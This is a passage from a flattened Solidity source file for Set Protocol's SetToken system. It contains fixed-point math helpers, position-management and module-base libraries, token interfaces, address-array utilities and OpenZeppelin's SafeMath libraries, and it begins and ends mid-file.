the significand * of a number with 18 decimals precision. */ function preciseMul(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(b).div(PRECISE_UNIT); } /** * @dev Multiplies value a by value b (result is rounded towards zero). It's assumed that the value b is the * significand of a number with 18 decimals precision. */ function preciseMul(int256 a, int256 b) internal pure returns (int256) { return a.mul(b).div(PRECISE_UNIT_INT); } /** * @dev Multiplies value a by value b (result is rounded up). It's assumed that the value b is the significand * of a number with 18 decimals precision. */ function preciseMulCeil(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } return a.mul(b).sub(1).div(PRECISE_UNIT).add(1); } /** * @dev Divides value a by value b (result is rounded down). */ function preciseDiv(uint256 a, uint256 b) internal pure returns (uint256) { return a.mul(PRECISE_UNIT).div(b); } /** * @dev Divides value a by value b (result is rounded towards 0). */ function preciseDiv(int256 a, int256 b) internal pure returns (int256) { return a.mul(PRECISE_UNIT_INT).div(b); } /** * @dev Divides value a by value b (result is rounded up or away from 0). */ function preciseDivCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "Cant divide by 0"); return a > 0 ? a.mul(PRECISE_UNIT).sub(1).div(b).add(1) : 0; } /** * @dev Divides value a by value b (result is rounded down - positive numbers toward 0 and negative away from 0). */ function divDown(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "Cant divide by 0"); require(a != MIN_INT_256 || b != -1, "Invalid input"); int256 result = a.div(b); if (a ^ b < 0 && a % b != 0) { result -= 1; } return result; } /** * @dev Multiplies value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseMul(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(b), PRECISE_UNIT_INT); } /** * @dev Divides value a by value b where rounding is towards the lesser number. * (positive values are rounded towards zero and negative values are rounded away from 0). */ function conservativePreciseDiv(int256 a, int256 b) internal pure returns (int256) { return divDown(a.mul(PRECISE_UNIT_INT), b); } } // Dependency file: contracts/protocol/lib/Position.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // pragma experimental "ABIEncoderV2"; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; // import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; // import { ISetToken } from "../../interfaces/ISetToken.sol"; // import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; /** * @title Position * @author Set Protocol * * Collection of helper functions for handling and updating SetToken Positions */ library Position { using SafeCast for uint256; using SafeMath for uint256; using SafeCast for int256; using SignedSafeMath for int256; using PreciseUnitMath for uint256; /* ============ Helper ============ */ /** * Returns whether the SetToken has a default position for a given component (if the real unit is > 0) */ function hasDefaultPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) > 0; } /** * Returns whether the SetToken has an external position for a given component (if # of position modules is > 0) */ function hasExternalPosition(ISetToken _setToken, address _component) internal view returns(bool) { return _setToken.getExternalPositionModules(_component).length > 0; } /** * Returns whether the SetToken component default position real unit is greater than or equal to units passed in. */ function hasSufficientDefaultUnits(ISetToken _setToken, address _component, uint256 _unit) internal view returns(bool) { return _setToken.getDefaultPositionRealUnit(_component) >= _unit.toInt256(); } /** * Returns whether the SetToken component external position is greater than or equal to the real units passed in. */ function hasSufficientExternalUnits( ISetToken _setToken, address _component, address _positionModule, uint256 _unit ) internal view returns(bool) { return _setToken.getExternalPositionRealUnit(_component, _positionModule) >= _unit.toInt256(); } /** * If the position does not exist, create a new Position and add to the SetToken. If it already exists, * then set the position units. If the new units is 0, remove the position. Handles adding/removing of * components where needed (in light of potential external positions). * * @param _setToken Address of SetToken being modified * @param _component Address of the component * @param _newUnit Quantity of Position units - must be >= 0 */ function editDefaultPosition(ISetToken _setToken, address _component, uint256 _newUnit) internal { bool isPositionFound = hasDefaultPosition(_setToken, _component); if (!isPositionFound && _newUnit > 0) { // If there is no Default Position and no External Modules, then component does not exist if (!hasExternalPosition(_setToken, _component)) { _setToken.addComponent(_component); } } else if (isPositionFound && _newUnit == 0) { // If there is a Default Position and no external positions, remove the component if (!hasExternalPosition(_setToken, _component)) { _setToken.removeComponent(_component); } } _setToken.editDefaultPositionUnit(_component, _newUnit.toInt256()); } /** * Update an external position and remove and external positions or components if necessary. The logic flows as follows: * 1) If component is not already added then add component and external position. * 2) If component is added but no existing external position using the passed module exists then add the external position. * 3) If the existing position is being added to then just update the unit * 4) If the position is being closed and no other external positions or default positions are associated with the component * then untrack the component and remove external position. * 5) If the position is being closed and other existing positions still exist for the component then just remove the * external position. * * @param _setToken SetToken being updated * @param _component Component position being updated * @param _module Module external position is associated with * @param _newUnit Position units of new external position * @param _data Arbitrary data associated with the position */ function editExternalPosition( ISetToken _setToken, address _component, address _module, int256 _newUnit, bytes memory _data ) internal { if (!_setToken.isComponent(_component)) { _setToken.addComponent(_component); addExternalPosition(_setToken, _component, _module, _newUnit, _data); } else if (!_setToken.isExternalPositionModule(_component, _module)) { addExternalPosition(_setToken, _component, _module, _newUnit, _data); } else if (_newUnit != 0) { _setToken.editExternalPositionUnit(_component, _module, _newUnit); } else { // If no default or external position remaining then remove component from components array if (_setToken.getDefaultPositionRealUnit(_component) == 0 && _setToken.getExternalPositionModules(_component).length == 1) { _setToken.removeComponent(_component); } _setToken.removeExternalPositionModule(_component, _module); } } /** * Add a new external position from a previously untracked module. * * @param _setToken SetToken being updated * @param _component Component position being updated * @param _module Module external position is associated with * @param _newUnit Position units of new external position * @param _data Arbitrary data associated with the position */ function addExternalPosition( ISetToken _setToken, address _component, address _module, int256 _newUnit, bytes memory _data ) internal { _setToken.addExternalPositionModule(_component, _module); _setToken.editExternalPositionUnit(_component, _module, _newUnit); _setToken.editExternalPositionData(_component, _module, _data); } /** * Get total notional amount of Default position * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _positionUnit Quantity of Position units * * @return Total notional amount of units */ function getDefaultTotalNotional(uint256 _setTokenSupply, uint256 _positionUnit) internal pure returns (uint256) { return _setTokenSupply.preciseMul(_positionUnit); } /** * Get position unit from total notional amount * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _totalNotional Total notional amount of component prior to * @return Default position unit */ function getDefaultPositionUnit(uint256 _setTokenSupply, uint256 _totalNotional) internal pure returns (uint256) { return _totalNotional.preciseDiv(_setTokenSupply); } /** * Get the total tracked balance - total supply * position unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @return Notional tracked balance */ function getDefaultTrackedBalance(ISetToken _setToken, address _component) internal view returns(uint256) { int256 positionUnit = _setToken.getDefaultPositionRealUnit(_component); return _setToken.totalSupply().preciseMul(positionUnit.toUint256()); } /** * Calculates the new default position unit and performs the edit with the new unit * * @param _setToken Address of the SetToken * @param _component Address of the component * @param _setTotalSupply Current SetToken supply * @param _componentPreviousBalance Pre-action component balance * @return Current component balance * @return Previous position unit * @return New position unit */ function calculateAndEditDefaultPosition( ISetToken _setToken, address _component, uint256 _setTotalSupply, uint256 _componentPreviousBalance ) internal returns(uint256, uint256, uint256) { uint256 currentBalance = IERC20(_component).balanceOf(address(_setToken)); uint256 positionUnit = _setToken.getDefaultPositionRealUnit(_component).toUint256(); uint256 newTokenUnit = calculateDefaultEditPositionUnit( _setTotalSupply, _componentPreviousBalance, currentBalance, positionUnit ); editDefaultPosition(_setToken, _component, newTokenUnit); return (currentBalance, positionUnit, newTokenUnit); } /** * Calculate the new position unit given total notional values pre and post executing an action that changes SetToken state * The intention is to make updates to the units without accidentally picking up airdropped assets as well. * * @param _setTokenSupply Supply of SetToken in precise units (10^18) * @param _preTotalNotional Total notional amount of component prior to executing action * @param _postTotalNotional Total notional amount of component after the executing action * @param _prePositionUnit Position unit of SetToken prior to executing action * @return New position unit */ function calculateDefaultEditPositionUnit( uint256 _setTokenSupply, uint256 _preTotalNotional, uint256 _postTotalNotional, uint256 _prePositionUnit ) internal pure returns (uint256) { // If pre action total notional amount is greater then subtract post action total notional and calculate new position units if (_preTotalNotional >= _postTotalNotional) { uint256 unitsToSub = _preTotalNotional.sub(_postTotalNotional).preciseDivCeil(_setTokenSupply); return _prePositionUnit.sub(unitsToSub); } else { // Else subtract post action total notional from pre action total notional and calculate new position units uint256 unitsToAdd = _postTotalNotional.sub(_preTotalNotional).preciseDiv(_setTokenSupply); return _prePositionUnit.add(unitsToAdd); } } } // Dependency file: contracts/protocol/lib/ModuleBase.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { ExplicitERC20 } from "../../lib/ExplicitERC20.sol"; // import { IController } from "../../interfaces/IController.sol"; // import { IModule } from "../../interfaces/IModule.sol"; // import { ISetToken } from "../../interfaces/ISetToken.sol"; // import { Invoke } from "./Invoke.sol"; // import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; // import { ResourceIdentifier } from "./ResourceIdentifier.sol"; /** * @title ModuleBase * @author Set Protocol * * Abstract class that houses common Module-related state and functions. */ abstract contract ModuleBase is IModule { using PreciseUnitMath for uint256; using Invoke for ISetToken; using ResourceIdentifier for IController; /* ============ State Variables ============ */ // Address of the controller IController public controller; /* ============ Modifiers ============ */ modifier onlyManagerAndValidSet(ISetToken _setToken) { require(isSetManager(_setToken, msg.sender), "Must be the SetToken manager"); require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); _; } modifier onlySetManager(ISetToken _setToken, address _caller) { require(isSetManager(_setToken, _caller), "Must be the SetToken manager"); _; } modifier onlyValidAndInitializedSet(ISetToken _setToken) { require(isSetValidAndInitialized(_setToken), "Must be a valid and initialized SetToken"); _; } /** * Throws if the sender is not a SetToken's module or module not enabled */ modifier onlyModule(ISetToken _setToken) { require( _setToken.moduleStates(msg.sender) == ISetToken.ModuleState.INITIALIZED, "Only the module can call" ); require( controller.isModule(msg.sender), "Module must be enabled on controller" ); _; } /** * Utilized during module initializations to check that the module is in pending state * and that the SetToken is valid */ modifier onlyValidAndPendingSet(ISetToken _setToken) { require(controller.isSet(address(_setToken)), "Must be controller-enabled SetToken"); require(isSetPendingInitialization(_setToken), "Must be pending initialization"); _; } /* ============ Constructor ============ */ /** * Set state variables and map asset pairs to their oracles * * @param _controller Address of controller contract */ constructor(IController _controller) public { controller = _controller; } /* ============ Internal Functions ============ */ /** * Transfers tokens from an address (that has set allowance on the module). * * @param _token The address of the ERC20 token * @param _from The address to transfer from * @param _to The address to transfer to * @param _quantity The number of tokens to transfer */ function transferFrom(IERC20 _token, address _from, address _to, uint256 _quantity) internal { ExplicitERC20.transferFrom(_token, _from, _to, _quantity); } /** * Gets the integration for the module with the passed in name. Validates that the address is not empty */ function getAndValidateAdapter(string memory _integrationName) internal view returns(address) { bytes32 integrationHash = getNameHash(_integrationName); return getAndValidateAdapterWithHash(integrationHash); } /** * Gets the integration for the module with the passed in hash. Validates that the address is not empty */ function getAndValidateAdapterWithHash(bytes32 _integrationHash) internal view returns(address) { address adapter = controller.getIntegrationRegistry().getIntegrationAdapterWithHash( address(this), _integrationHash ); require(adapter != address(0), "Must be valid adapter"); return adapter; } /** * Gets the total fee for this module of the passed in index (fee % * quantity) */ function getModuleFee(uint256 _feeIndex, uint256 _quantity) internal view returns(uint256) { uint256 feePercentage = controller.getModuleFee(address(this), _feeIndex); return _quantity.preciseMul(feePercentage); } /** * Pays the _feeQuantity from the _setToken denominated in _token to the protocol fee recipient */ function payProtocolFeeFromSetToken(ISetToken _setToken, address _token, uint256 _feeQuantity) internal { if (_feeQuantity > 0) { _setToken.strictInvokeTransfer(_token, controller.feeRecipient(), _feeQuantity); } } /** * Returns true if the module is in process of initialization on the SetToken */ function isSetPendingInitialization(ISetToken _setToken) internal view returns(bool) { return _setToken.isPendingModule(address(this)); } /** * Returns true if the address is the SetToken's manager */ function isSetManager(ISetToken _setToken, address _toCheck) internal view returns(bool) { return _setToken.manager() == _toCheck; } /** * Returns true if SetToken must be enabled on the controller * and module is registered on the SetToken */ function isSetValidAndInitialized(ISetToken _setToken) internal view returns(bool) { return controller.isSet(address(_setToken)) && _setToken.isInitializedModule(address(this)); } /** * Hashes the string and returns a bytes32 value */ function getNameHash(string memory _name) internal pure returns(bytes32) { return keccak256(bytes(_name)); } } // Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * // importANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: contracts/interfaces/external/IWETH.sol /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title IWETH * @author Set Protocol * * Interface for Wrapped Ether. This interface allows for interaction for wrapped ether's deposit and withdrawal * functionality. */ interface IWETH is IERC20{ function deposit() external payable; function withdraw( uint256 wad ) external; } // Dependency file: contracts/interfaces/ISetToken.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // pragma experimental "ABIEncoderV2"; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ISetToken * @author Set Protocol * * Interface for operating with SetTokens. */ interface ISetToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs ============ */ /** * The base definition of a SetToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a SetToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); } // Dependency file: contracts/protocol/lib/Invoke.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; // import { ISetToken } from "../../interfaces/ISetToken.sol"; /** * @title Invoke * @author Set Protocol * * A collection of common utility functions for interacting with the SetToken's invoke function */ library Invoke { using SafeMath for uint256; /* ============ Internal ============ */ /** * Instructs the SetToken to set approvals of the ERC20 token to a spender. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to approve * @param _spender The account allowed to spend the SetToken's balance * @param _quantity The quantity of allowance to allow */ function invokeApprove( ISetToken _setToken, address _token, address _spender, uint256 _quantity ) internal { bytes memory callData = abi.encodeWithSignature("approve(address,uint256)", _spender, _quantity); _setToken.invoke(_token, 0, callData); } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function invokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _to, _quantity); _setToken.invoke(_token, 0, callData); } } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * The new SetToken balance must equal the existing balance less the quantity transferred * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function strictInvokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { // Retrieve current balance of token for the SetToken uint256 existingBalance = IERC20(_token).balanceOf(address(_setToken)); Invoke.invokeTransfer(_setToken, _token, _to, _quantity); // Get new balance of transferred token for SetToken uint256 newBalance = IERC20(_token).balanceOf(address(_setToken)); // Verify only the transfer quantity is subtracted require( newBalance == existingBalance.sub(_quantity), "Invalid post transfer balance" ); } } /** * Instructs the SetToken to unwrap the passed quantity of WETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeUnwrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("withdraw(uint256)", _quantity); _setToken.invoke(_weth, 0, callData); } /** * Instructs the SetToken to wrap the passed quantity of ETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeWrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("deposit()"); _setToken.invoke(_weth, _quantity, callData); } } // Dependency file: contracts/interfaces/INAVIssuanceHook.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { ISetToken } from "./ISetToken.sol"; interface INAVIssuanceHook { function invokePreIssueHook( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, address _sender, address _to ) external; function invokePreRedeemHook( ISetToken _setToken, uint256 _redeemQuantity, address _sender, address _to ) external; } // Dependency file: contracts/interfaces/IController.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; interface IController { function addSet(address _setToken) external; function feeRecipient() external view returns(address); function getModuleFee(address _module, uint256 _feeType) external view returns(uint256); function isModule(address _module) external view returns(bool); function isSet(address _setToken) external view returns(bool); function isSystemContract(address _contractAddress) external view returns (bool); function resourceId(uint256 _id) external view returns(address); } // Dependency file: contracts/lib/AddressArrayUtils.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } } // Dependency file: @openzeppelin/contracts/math/SignedSafeMath.sol // pragma solidity ^0.6.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // Dependency file: @openzeppelin/contracts/math/SafeMath.sol // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer 